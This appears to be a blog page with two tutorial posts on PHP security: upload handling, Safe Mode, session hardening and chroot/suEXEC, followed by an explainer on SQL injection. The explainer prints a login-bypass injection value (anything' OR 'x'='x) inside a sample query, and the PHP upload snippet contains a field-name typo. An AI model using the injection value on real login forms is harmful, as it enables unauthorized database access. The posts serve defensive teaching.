Uploaded files are moved to a temporary directory, since they are processed by the web server itself, before PHP can see them. The default location for temporary files is the system temporary file directory, which is usually defined to be /tmp on a UNIX system. This temporary file directory is often readable by all users, and therefore storing uploaded files here, even temporarily, is not good security, since any user with access to the system is likely to have access to the uploaded file data, between the time it was uploaded and the time that a PHP script moves the file into its final destination.
It is considered good practice to change the directory used for uploading temporary files to one which is owned by the user under which the web server (and, consequently, PHP) runs, and prevent other users accessing this directory. The following line in php.ini tells PHP to use a different location for temporary storage of uploaded files.
upload_tmp_dir = /var/www/tmp
You can change /var/www/tmp to a different directory, suitable for your server layout, and create it using the following
cd /var/www
mkdir tmp
chown httpd tmp
where httpd is the username of the user account under which the web server runs.
When dealing with uploaded files, it is essential to know that the file you are performing file operations on was, in fact, an uploaded file. It is possible to trick PHP into operating on a file which was not actually uploaded, by providing an incorrect filename, or exploiting some other vulnerability in the web application. To make absolutely certain that you are operating on a file which was indeed uploaded, PHP provides two functions. is_uploaded_file() returns true only if the filename it was given was actually uploaded, and move_uploaded_file() performs a file move operation only if the filename was in fact an uploaded file. Combining these two functions is much safer than using the standard file manipulation functions such as copy().
$supplied_name = $_FILES['file']['name'];
$temp_name = $_FILES['file']['tmp_nam'];
$count++; // Persistent counter to uniquely identify files
$local_name = “file_$count”;
if( is_uploaded_file($temp_name) )
{
move_uploaded_file($temp_name, “/home/files/$local_name”);
echo “File $supplied_name successfully uploaded.”;
}
else
{
die(”Error processing the file”);
}
The script above combines some of the advice of the above sections. A locally generated unique name is used for storing the files on the filesystem, the is_uploaded_file() and move_uploaded_file() functions are used to ensure that the file being operated on was an uploaded file, and an attacker did not trick us into moving some system or other important file into a location from which the web server can access it directly, and the browser-supplied filename is displayed to the user for consistency.
The example could have been greatly improved; for example, checking that the free disk space is not below a certain level before moving the file into it, so as to prevent filling the drive, or storing a mapping of local unique name to browser-supplied name in a database.
As a final word on file uploads, it is often a good idea to store uploaded files outside of the web server’s document tree, even if these files are to be retrieved later. It is possible to create a PHP script, download.php, which takes a filename in a GET request and uses readfile() to send the file to the user, creating the appropriate headers for length and content-type. This is much safer than allowing direct download, especially of user-uploaded files, since the script can perform additional checking to make sure that the requested file is one which should be downloadable, and can also perform other housekeeping such as tracking download counts, or imposing limitations. Allowing downloads through the web server directly eliminates much of this security and functionality.
What Is Safe Mode?
Safe mode is an attempt to solve some of the problems that are introduced when running a PHP enabled web server in a shared hosting environment. The additional security checks imposed by Safe Mode are, however, performed at the PHP level, since the underlying web server and operating system security architecture is usually not sufficient to impose the necessary security restrictions for a multi-user environment, in which many users may be able to upload and execute PHP code.
The problem generally arises when PHP is run in a web server which hosts and executes scripts provided by multiple users. Since the web server process itself runs as a single system user, that user account must have access to each hosted user’s files. This means that any script running on the web server has access to each user’s files.
It is not possible to use operating system level security to restrict which files can be accessed, since the web server process (and hence PHP) needs access to all of them in order to serve user web pages. The only available solution is to address these issues at the PHP level.
PHP Safe Mode does just this; it imposes a set of restrictions on multi-user systems, within the core PHP engine, and scripts are run within those imposed restrictions. The full details of Safe Mode are explained below, but I would like to point out here that while Safe Mode restricts PHP scripts, those restrictions obviously do not (and cannot!) apply to external programs executed by PHP. It is therefore possible to specify a safe directory for executable programs, but even with this capability, if any of those programs allow access to files outside of the Safe Mode configured directories, it will still be possible for a malicious user to access another user’s files.
What Does Safe Mode Restrict?
Enabling Safe Mode imposes several restrictions on PHP scripts. These restrictions are mostly concerned with file access, access to environment variables and controlling the execution of external processes.
Restricting File Access
Additional checks are performed by PHP when running in Safe Mode, prior to any file operation taking place. In order for the file operation to proceed, the user ID of the file owner, for the file being operated on, must be the same as the user ID of the script owner, for the script performing the file operation.
There are problems which may be encountered when this mechanism is turned on, notably when attempting to work with files owned by different users, but in the same document tree, and files which have been created at runtime by the script (which will be owned by the owner of the web server process).
In order to work around these issues, a relaxed form of the file permission checking is also provided by Safe Mode. Using the php.ini directive (or setting in .htaccess or a virtual hosting section or directory section in httpd.conf) below, it is possible to relax the user ID check to a group ID check. That is, if the script has the same group ID as the file on which a file operation was requested, the operation will succeed. If the script owners and the web server are members of the same group, and all hosted files are owned by this group, the file operations will succeed regardless of user ID.
safe_mode_gid = On
The user and group ID restrictions are not enforced for files which are located within the PHP include directories, provided those directories are specified in the safe_mode_include_dir directive. This means that you should always specify the default PHP include directories in this directive in the php.ini configuration file.
Restricting Access To Environment Variables
When PHP is running in Safe Mode, it restricts access to environment variables based on two php.ini directives. Directives are provided for allowing write access to certain environment variables, and for restricting write access to certain environment variables. Each is a comma-delimited list of affected environment variables.
Restrictions On Running External Processes
Restrictions are also imposed on the execution of external processes (i.e. not PHP scripts). Binaries in the specified safe directory may be executed (See the Configuration Directives) section. exec(), system(), popen() and passthru()are affected by these settings. shell_exec() and the backtick operator do not work at all when Safe Mode has been enabled.
Other Imposed Restrictions
Several functions are restricted in Safe Mode. Some of the most important of these are listed later. Furthermore, the PHP_AUTH_USER, PHP_AUTH_PW and AUTH_TYPE variables are not made available in Safe Mode.
Safe Mode Configuration Directives
The following directives control the Safe Mode settings. These should be set in php.ini. Some may also be set (or overridden) in the httpd.conf file.
safe_mode = boolean
This directive enables PHP Safe Mode. The recommended strategy for configuring a shared hosting environment to use Safe Mode is to enable Safe Mode globally, in php.ini, and configure sensible default values here. Specific overriding values can then be made in httpd.conf for each host, location, or directory.
safe_mode_gid = boolean
This directive causes PHP to relax the user ID equality check between scripts and the files on which they operate to a group ID check. The reasons why this directive may be useful were explained in detail above.
safe_mode_include_dir = string
The user and group ID restrictions are ignored for files included from this directory and its subdirectories. The directory must be listed in the include_path directory, or a full path name given for include statements. The value of this directive may be a colon-separated list of directories for which inclusion is allowed without user or group ID checking being performed.
Note that this restriction acts as a directory prefix, rather than a complete directory name. As such, a value of /home/wwwroot/inc allows files within /home/wwwroot/inc, /home/wwwroot/incl, /home/wwwroot/include and /home/wwwroot/incriminating_evidence to be included without restriction. If in doubt, always end the directory path with a trailing / to prevent it being interpreted as a prefix such as those listed above.
safe_mode_exec_dir = string
This directive specifies the path under which executables may be run in Safe Mode. This restriction affects system(), exec(), popen() and passthru(). The directory separator must always be a /, even on a Windows server.
safe_mode_allowed_env_vars = string
This directive specifies prefixes for environment variables which may be altered by a script running in Safe Mode. The default action is to allow users to edit environment variables beginning with PHP_ (i.e. have a prefix of PHP_). If this directive is left empty, a script running under safe mode will be able to modify any environment variable.
safe_mode_protected_env_vars = string
Similarly to above, this directive allows you to specify environment variables which may not be edited by the script. Even if safe_mode_allowed_env_vars also includes an environment variable listed here, PHP will prevent a script changing that environment variable.
open_basedir = string
The open_basedir directive has been covered already in this series. It restricts all file operations to the specified directory tree. This directive works outside of Safe Mode also. The list of directories for which file access is allowed must be separated by a semicolon on Windows, or by a colon on all other systems.
disable_functions = string
This directive lists functions to disallow. A comma-delimited list of function names is used. Like open_basedir, this directive does not require that Safe Mode has been enabled.
Functions Restricted By Safe Mode
There is a full list of functions for which Safe Mode imposes certain restrictions at http://www.php.net/manual/en/features.safe-mode.functions.php
Below, I list some of the most important limitations.
putenv()
putenv() takes into account the safe_mode_allowed_env_vars and safe_mode_protected_env_vars directives mentioned above.
move_uploaded_file()
Moving uploaded files is subject to the same User ID or Group ID checking imposed on all file operations under Safe Mode. The file being moved must have the same user ID or group ID (if relaxed group restrictions are enabled) as the script moving it. Generally, the file will be created with the user ID of the web server process, and as such the relaxed restrictions are likely to be required in order to move uploaded files.
chdir() mkdir() rmdir()
Changing the current working directory of the script depends on the requirements imposed by user and group ID restrictions and by open_basedir. Similar restrictions are imposed for mkdir() and rmdir().
mail()
The additional parameters (fifth argument) have no effect when running under Safe Mode, since these would allow arbitrary options to be passed to the mailer program.
set_time_limit()
Setting an execution time limit within a script is ignored when the script is running under Safe Mode.
dl()
Dynamically loading PHP extensions is disabled when running in Safe Mode.
Overriding Safe Mode Settings
As I said above, it is recommended to set default settings which will never cause security problems in php.ini, and enable Safe Mode there. Per-virtual-host or per-directory settings for values such as open_basedir, safe_mode_exec_dir, and safe_mode_include_dir may be specified within httpd.conf using the php_admin_value and php_admin_flag directives.
Consider the following example, which is a (slightly modified) section of an httpd.conf from a live web server I run.
ServerAdmin andrew@somehost.com
DocumentRoot /home/wwwroot/andrew/
ServerName andrew.somehost.com
php_admin_value open_basedir “/home/wwwroot/andrew”
php_admin_value open_basedir “/home/wwwroot/:/home/photos/:/usr/local/
lib/php/”
php_admin_flag safe_mode off
Here, within the Apache VirtualHost directive, an open_basedir value has been set for the entire virtual host, and overridden for a specific location which requires access to other directories. Safe Mode has been turned off for this location also, again because the gallery software installed there requires functionality which is disabled by Safe Mode.
As you can now clearly see, it is possible to set PHP configuration information on a per-host, per-directory or per-location basis within the httpd.conf file. You will notice also that the open_basedir directories all end with a trailing / so as to prevent them being interpreted as directory prefixes.
What Are Sessions?
Sessions are a PHP construct allowing persistent data to be retained across HTTP connections. In English, sessions allow you to store the values of certain variables across page visits. This is achieved by serializing the data (converting it to some binary representation) and writing it out to a file (or a database, or wherever you tell it), when a page is finished processing in PHP. When the next page (or that same page some time later) is processed, and PHP is told to start a session, it will check if the user already has a session, and read their data back in, unserializing it and assigning the variables. This allows you to keep track of a user across multiple visits, or while browsing multiple pages on your site.
For example, you can create a shopping cart using sessions, storing an array of items added to the cart in a session variable, and loading it on every page. When the user clicks ‘Add to cart’ you can add the item to the array, and it will be saved for the next page the user goes to. The whole array can be fetched on your checkout page and appropriate processing will take place.
How Do Sessions Work?
As many probably know, HTTP is a stateless protocol. By stateless, I mean that any HTTP connection is unaware of previous connections made by the same client, to the same server (persistent connections excepting). There are two useful ways in which PHP can pass identification information between pages in order to uniquely associate a user with a session.
PHP can use cookies to store a session ID. The cookie value is sent on every request, so PHP can match that up to its session data and retrieve the correct set of variables for that user. Another way is to pass the session ID in URLs. In order to do this, URL rewriting must be enabled.
Passing session data in URLs is not recommended since it is possible to pass your session onto another user if you give them a link which contains your session ID, and the session ID data is more easily attackable than in a cookie. URL-based session tracking should be used only where cookies cannot.
Using $_SESSION
PHP provides a super-global variable named $_SESSION. By super-global I mean it is a global variable which you may access without going via $_GLOBALS or stating global $_SESSION within a function. In this way, it behaves like $_GET and $_POST.
$_SESSION is, in fact, an associative array. The keys are variable names, and the values are the stored session data for that variable name.
Using $_SESSION is preferred over the use of session_register() to register ordinary global variables as session variables, especially when register_globals is enabled, since global variables may be more easily changed inadvertently than the contents of $_SESSION. It is still possible to alias ordinary global variables to their equivalents within $_SESSION,
$username = &$_SESSION["username"];
Here, the & indicates a reference, or alias. It is then possible to use $username instead of $_SESSION["username"], but note that $username is an ordinary variable, and you will have to access as $_GLOBALS["username"] or global $username from within a function.
Trusting Session Data
Since a session ID can be spoofed, it is always wise to perform some extra validation where possible. The simplest mechanism would be to store the IP address of the client to whom the session ID was issued, and compare the client IP against that stored IP every session. This will prevent the basic security problems associated with passing links between computers (though not if the computers are on a private network and share a single public IP address).
Session data is also stored in files on the server. The default location is /tmp on UNIX, or the system temporary file directory on Windows. If /tmp is world-writable (or, in some cases, world-readable), or there are multiple websites hosted on a single server, storing session data in a public location is not secure. PHP provides a way to change the way session data is stored.
Changing The Session File Path
The location in which PHP saves session data can be set using the php.ini directive session.save_path, or the string below in httpd.conf or a virtual host configuration.
php_value session.save_path “/home/andrew/sessions/”
It is important to ensure that your session data path is included in the paths allowed by open_basedir, if you have open_basedir settings or PHP Safe Mode enabled.
The data representation used for saving session data to files can be controlled with the session.serialize_handler directive in php.ini. By default, PHP uses its own built in format, but the WDDX ( http://www.wddx.org ) format can be used also. Set the type using one of the lines below.
(in php.ini …)
session.serialize_handler wddx
or
session.serialize_handler php
(or in httpd.conf …)
php_value session.serialize_handler wddx
or
php_value session.serialize_handler php
Storing Session Data In A Database
When you use on-disk files to store session data, those files must be readable and writeable by PHP. On a multi-user hosting system, it is possible for other users to access your session data through the PHP process (but see the commentary on open_basedir in part 5 of this series. The best way to secure your session data is to store it in a database.
Unfortunately, there is no direct way to store session data in a database using the php.ini directives, but luckily PHP provides a mechanism for customised session storage handlers. The function session_set_save_handler() allows you to register handler functions for session management. These functions must be written in PHP (or made available as a PHP extension).
session_set_save_handler(open_fn, close_fn, read_fn, write_fn,
destroy_fn, gc_fn)
To use these user-supplied session storage handlers, you must set session.save_handler to the value user, and the value of session.save_path should be the name of the database into which you’re saving session data (so that the session save handler functions you define can locate and use that database). The value of session.name can be used as the name of the table within the database.
(httpd.conf)
php_value session.save_handler user
php_value session.save_path dbname
php_value session.name session_data
Next, a table for storing session data must exist in the database. At the minimum, your session handler should keep track of the session ID, the expiration time, and the serialized session data. The SQL below creates a simple table for storing this data.
CREATE TABLE session_data (
sessionid text not null PRIMARY KEY,
expiration timestamp,
sessiondata text not null
);
The final task is to create the functions which manage this session store, and register them with session_set_save_handler(). The open_fn must open the database connection, the close_fn must close it and perform any associated cleanup tasks, and the read_fn and write_fn functions must read and write session data respectively. destroy_fn is called when a session ends and is destroyed, and gc_fn is called when session data is garbage collected. These operations must be mapped into database queries by your PHP code. The prototypes for the functions are given below, and parameters passed are explained.
function open_fn($save_path, $session_name)
$save_path is the value of session.save_path, $session_name is the value of session.name
function close_fn()
Takes no arguments
function read_fn($session_id, $data)
$session_id is the session ID for which PHP requests the associated session data to be returned
function write_fn($session_id)
$session_id is the session ID for which PHP requests that $data be associated with in the session store (database)
function destroy_fn($session_id)
$session_id is the ID of a session which may be removed from the store
function gc_fn($max_time)
$max_time is the oldest last modified time to retain in the session store. Sessions with an older modified time than this are to be removed from the store.
Implementing the above functions, you are not limited simply to database connections. You could, for instance, connect to some other data storage application, or store the session data in an encrypted virtual filesystem, or on a network file server.
Further Securing Sessions
There are a few remaining PHP directives for controlling sessions, several of these have security implications. Firstly, the session name (set with session.name) should be changed from the default to avoid collisions, especially on servers with multiple users.
The session.cookie_path directive determines the default cookie path, the path for which cookies will be sent in an HTTP request. If you have a forum at somedomain.com/forum, and somedomain.com/ does not require session management, you can change session.cookie_path as shown below.
php_value session.cookie_path /forum/
This prevents sections of your site which do not require the session cookie from being sent it, and limits exposure of the session IDs to those parts of a site where sessions are actually being used. This is especially important if some sections of your site have pages provided by other users, who could use those pages to steal session IDs from your visitors.
Setting session.use_only_cookies to true disables the passing of session IDs in URLs, at the cost of losing sessions support for users with cookies disabled, or on browsers not supporting cookies. Setting session.cookie_domain to the most restrictive domain name possible (e.g. forum.somesite.com instead of somesite.com) also helps to minimise exposure of session IDs. Of course, if you have a single login for an entire range of subdomains, you will have to set the domain as somedomain.com to ensure that the sessions are correctly managed across all of the subdomains.
Finally, it is possible to set the hash function used when creating session IDs. The default is to use MD5 (hash function 0), but SHA1 may also be used (hash function 1). SHA1 is a 160-bit hash function, whereas MD5 is only a 128-bit hash function, so using SHA1 for session hashes improves security slightly over using MD5. You can set the hash function using This setting was introduced in PHP 5.
php_value session.hash_function 1
Beyond PHP Security
Everything I’ve covered so far has been directly related to PHP and SQL security. The best situation we can manage here is PHP Safe Mode, which uses self-imposed restrictions to improve security. That this is the best we can achieve is due to the server architecture currently in use. There are, however, a few options for taking security a little further, and imposing the restrictions at a lower level than PHP itself. To conclude this series, I’ll mention some of these briefly here.
Chroot
Chroot changes the “root” directory that a process can see. This effectively locks it into a certain directory structure within the overall filesystem. With this approach, you can lock a web server into some directory such as /home/www and it will not be able to access anything outside of that structure.
There are several advantages to doing this. The first is that the web server, PHP, any user scripts, and also any attackers, will be contained within this chroot “jail”, unable to access files outside of it. Furthermore, you can remove all but the most essential software from the chroot environment. Removing any shells from the environment prevents a large number of exploits which attempt to invoke a remote shell. The minimal environment inside a chroot makes life very difficult for attackers, no matter whether their method of attack is through a vulnerability in your PHP code, or a vulnerability in the underlying web server.
Apache mod_security and mod_chroot
mod_security and mod_chroot are extension modules specifically for the Apache web server. These two modules provide chroot support for Apache without externally applying a chroot technique. mod_security also provides several other security features. Further information is available at http://www.modsecurity.org/ for mod_security and at http://core.segfault.pl/~hobbit/mod_chroot/ for mod_chroot.
suEXEC and Multiple Server Instances
Using a chroot to lock your web server into a restricted environment helps to prevent some security problems, but one of the big issues is shared hosting. Running multiple websites on the same server requires that the web server process has access to each user’s files. If the web server has access, so do the other users (subject to PHP Safe Mode restrictions, of course). There are two ways around this, one which is Apache specific, and one which may be deployed on any server environment.
suEXEC, specific to Apache, switches an Apache process to be owned by the same user as the script it is executing, losing any escalated permissions. This locks that Apache instance into the permissions held by that user, rather than the permissions held by the master web server process itself. This mechanism allows a return to the more traditional permissions system, and each user can be reasonably sure his or her files are protected. The cost of this is that an Apache process may not then be promoted back to regain permissions and switch user again to serve a different user’s files. This system works best when there will be many requests for pages owned by the same user. suEXEC is explained in more detail at http://httpd.apache.org/docs/1.3/suexec.html
The alternative is to use multiple instances of the web server, each one running with the permissions of a different user. Each server then only has the permissions it needs to serve a single website, so a reverse proxy must be used as a front to all of these server instances, redirecting requests for a virtually hosted website to the Apache instance responsible for actually serving that site. This solution is the most secure, but also the most resource-hungry. Information about using Apache as a reverse proxy is available at http://httpd.apache.org/docs/1.3/mod/mod_proxy.html.
10:07:00 PM | Labels: Internet, internet security, PHP, PHP/SQL Securiity, SQL, web | 1 Comments
SQL Injection: What is it?
SQL Injection is one of the many web attack mechanisms used by hackers to steal data from organizations. It is perhaps one of the most common application layer attack techniques used today. It is the type of attack that takes advantage of improper coding of your web applications that allows hacker to inject SQL commands into say a login form to allow them to gain access to the data held within your database.
In essence, SQL Injection arises because the fields available for user input allow SQL statements to pass through and query the database directly.
SQL Injection: An In-depth Explanation
Web applications allow legitimate website visitors to submit and retrieve data to/from a database over the Internet using their preferred web browser. Databases are central to modern websites – they store data needed for websites to deliver specific content to visitors and render information to customers, suppliers, employees and a host of stakeholders. User credentials, financial and payment information, company statistics may all be resident within a database and accessed by legitimate users through off-the-shelf and custom web applications. Web applications and databases allow you to regularly run your business.
SQL Injection is the hacking technique which attempts to pass SQL commands (statements) through a web application for execution by the backend database. If not sanitized properly, web applications may result in SQL Injection attacks that allow hackers to view information from the database and/or even wipe it out.
Such features as login pages, support and product request forms, feedback forms, search pages, shopping carts and the general delivery of dynamic content, shape modern websites and provide businesses with the means necessary to communicate with prospects and customers. These website features are all examples of web applications which may be either purchased off-the-shelf or developed as bespoke programs.
These website features are all susceptible to SQL Injection attacks which arise because the fields available for user input allow SQL statements to pass through and query the database directly.
SQL Injection: A Simple Example
Take a simple login page where a legitimate user would enter his username and password combination to enter a secure area to view his personal details or upload his comments in a forum.
When the legitimate user submits his details, an SQL query is generated from these details and submitted to the database for verification. If valid, the user is allowed access. In other words, the web application that controls the login page will communicate with the database through a series of planned commands so as to verify the username and password combination. On verification, the legitimate user is granted appropriate access.
Through SQL Injection, the hacker may input specifically crafted SQL commands with the intent of bypassing the login form barrier and seeing what lies behind it. This is only possible if the inputs are not properly sanitised (i.e., made invulnerable) and sent directly with the SQL query to the database. SQL Injection vulnerabilities provide the means for a hacker to communicate directly to the database.
The technologies vulnerable to this attack are dynamic script languages including ASP, ASP.NET, PHP, JSP, and CGI. All an attacker needs to perform an SQL Injection hacking attack is a web browser, knowledge of SQL queries and creative guess work to important table and field names. The sheer simplicity of SQL Injection has fuelled its popularity.
FAQ
Why is it possible to pass SQL Queries to the database even though this is hidden behind a firewall?
Is my database at risk to SQL Injection?
What is the impact of SQL Injection?
Example of a SQL Injection Attack
How do I prevent SQL Injection attacks?
Why is it possible to pass SQL queries directly to a database that is hidden behind a firewall and any other security mechanism?
Firewalls and similar intrusion detection mechanisms provide little or no defense against full-scale SQL Injection web attacks.
Since your website needs to be public, security mechanisms will allow public web traffic to communicate with your web application/s (generally over port 80/443). The web application has open access to the database in order to return (update) the requested (changed) information.
In SQL Injection, the hacker uses SQL queries and creativity to get to the database of sensitive corporate data through the web application.
SQL or Structured Query Language is the computer language that allows you to store, manipulate, and retrieve data stored in a relational database (or a collection of tables which organise and structure data). SQL is, in fact, the only way that a web application (and users) can interact with the database. Examples of relational databases include Oracle, Microsoft Access, MS SQL Server, MySQL, and Filemaker Pro, all of which use SQL as their basic building blocks.
SQL commands include SELECT, INSERT, DELETE and DROP TABLE. DROP TABLE is as ominous as it sounds and in fact will eliminate the table with a particular name.
In the legitimate scenario of the login page example above, the SQL commands planned for the web application may look like the following:
SELECT count(*)
FROM users_list_table
WHERE username=’FIELD_USERNAME’
AND password=’FIELD_PASSWORD”
In plain English, this SQL command (from the web application) instructs the database to match the username and password input by the legitimate user to the combination it has already stored.
Each type of web application is hard coded with specific SQL queries that it will execute when performing its legitimate functions and communicating with the database. If any input field of the web application is not properly sanitised, a hacker may inject additional SQL commands that broaden the range of SQL commands the web application will execute, thus going beyond the original intended design and function.
A hacker will thus have a clear channel of communication (or, in layman terms, a tunnel) to the database irrespective of all the intrusion detection systems and network security equipment installed before the physical database server.
Is my database at risk to SQL Injection?
SQL Injection is one of the most common application layer attacks currently being used on the Internet. Despite the fact that it is relatively easy to protect against SQL Injection, there are a large number of web applications that remain vulnerable.
According to the Web Application Security Consortium (WASC) 9% of the total hacking incidents reported in the media until 27th July 2006 were due to SQL Injection. More recent data from our own research shows that about 50% of the websites we have scanned this year are susceptible to SQL Injection vulnerabilities.
It may be difficult to answer the question whether your web site and web applications are vulnerable to SQL Injection especially if you are not a programmer or you are not the person who has coded your web applications.
Our experience leads us to believe that there is a significant chance that your data is already at risk from SQL Injection.
Whether an attacker is able to see the data stored on the database or not, really depends on how your website is coded to display the results of the queries sent. What is certain is that the attacker will be able to execute arbitrary SQL Commands on the vulnerable system, either to compromise it or else to obtain information.
If improperly coded, then you run the risk of having your customer and company data compromised.
What an attacker gains access to also depends on the level of security set by the database. The database could be set to restrict to certain commands only. A read access normally is enabled for use by web application back ends.
Even if an attacker is not able to modify the system, he would still be able to read valuable information.
What is the impact of SQL Injection?
Once an attacker realizes that a system is vulnerable to SQL Injection, he is able to inject SQL Query / Commands through an input form field. This is equivalent to handing the attacker your database and allowing him to execute any SQL command including DROP TABLE to the database!
An attacker may execute arbitrary SQL statements on the vulnerable system. This may compromise the integrity of your database and/or expose sensitive information. Depending on the back-end database in use, SQL injection vulnerabilities lead to varying levels of data/system access for the attacker. It may be possible to manipulate existing queries, to UNION (used to select related information from two tables) arbitrary data, use subselects, or append additional queries.
In some cases, it may be possible to read in or write out to files, or to execute shell commands on the underlying operating system. Certain SQL Servers such as Microsoft SQL Server contain stored and extended procedures (database server functions). If an attacker can obtain access to these procedures, it could spell disaster.
Unfortunately the impact of SQL Injection is only uncovered when the theft is discovered. Data is being unwittingly stolen through various hack attacks all the time. The more expert of hackers rarely get caught.
Example of a SQLInjection Attack
Here is a sample basic HTML form with two inputs, login and password.
<form method="”post”" action="”http://testasp.acunetix.com/login.asp”">
<input name="”tfUName”" id="”tfUName”" type="”text”">
<input name="”tfUPass”" id="”tfUPass”" type="”password”">
The easiest way for the login.asp to work is by building a database query that looks like this:
SELECT id
FROM logins
WHERE username = ‘$username’
AND password = ‘$password’
If the variables $username and $password are requested directly from the user’s input, this can easily be compromised. Suppose that we gave “Joe” as a username and that the following string was provided as a password: anything’ OR ‘x’='x
SELECT id
FROM logins
WHERE username = ‘Joe’
AND password = ‘anything’ OR ‘x’='x’
As the inputs of the web application are not properly sanitised, the use of the single quotes has turned the WHERE SQL command into a two-component clause.
The ‘x’='x’ part guarantees to be true regardless of what the first part contains.
This will allow the attacker to bypass the login form without actually knowing a valid username / password combination!
How do I prevent SQL Injection attacks?
Firewalls and similar intrusion detection mechanisms provide little defense against full-scale web attacks. Since your website needs to be public, security mechanisms will allow public web traffic to communicate with your databases servers through web applications. Isn’t this what they have been designed to do?
Patching your servers, databases, programming languages and operating systems is critical but will in no way the best way to prevent SQL Injection Attacks.
How to check for SQL injection vulnerabilities
Securing your website and web applications from SQL Injection involves a three-part process:
- Analysing the present state of security present by performing a thorough audit of your website and web applications for SQL Injection and other hacking vulnerabilities.
- Making sure that you use coding best practice santising your web applications and all other components of your IT infrastructure.
- Regularly performing a web security audit after each change and addition to your web components.
Furthermore, the principles you need to keep in mind when checking for SQL Injection and all other hacking techniques are the following: “Which parts of a website we thought are secure are open to hack attacks?” and “what data can we throw at an application to cause it to perform something it shouldn’t do?”.
Checking for SQL Injection vulnerabilities involves auditing your website and web applications. Manual vulnerability auditing is complex and very time-consuming. It also demands a high-level of expertise and the ability to keep track of considerable volumes of code and of all the latest tricks of the hacker’s ‘trade’.
The best way to check whether your web site and applications are vulnerable to SQL injection attacks is by using an automated and heuristic web vulnerability scanner.
An automated web vulnerability scanner crawls your entire website and should automatically check for vulnerabilities to SQL Injection attacks. It will indicate which URLs/scripts are vulnerable to SQL injection so that you can immediately fix the code. Besides SQL injection vulnerabilities a web application scanner will also check for Cross site scripting and other web vulnerabilities.
11:57:00 PM | Labels: Internet, internet security, web | 0 Comments
- Internet
- Careers
- internet security
- web
- Networking
- ORT
- Operational Research
- Operations Research
- Proxy
- Tutorial
- PHP
- "Adding a Google Custom Search Engine "
- Assam
- DHCP
- E-Commerce
- FTP Upload via cURL
- Google Hacking
- IT
- Leisure
- Light
- Market and Survey Researchers
- Multiple Language Translation
- Open Proxy
- PHP/SQL Securiity
- Photography
- Proxy Server
- Reputation Management
- Reverse Proxy
- SQL
- cURL
- firewall
- information security
- information technology
- sudoku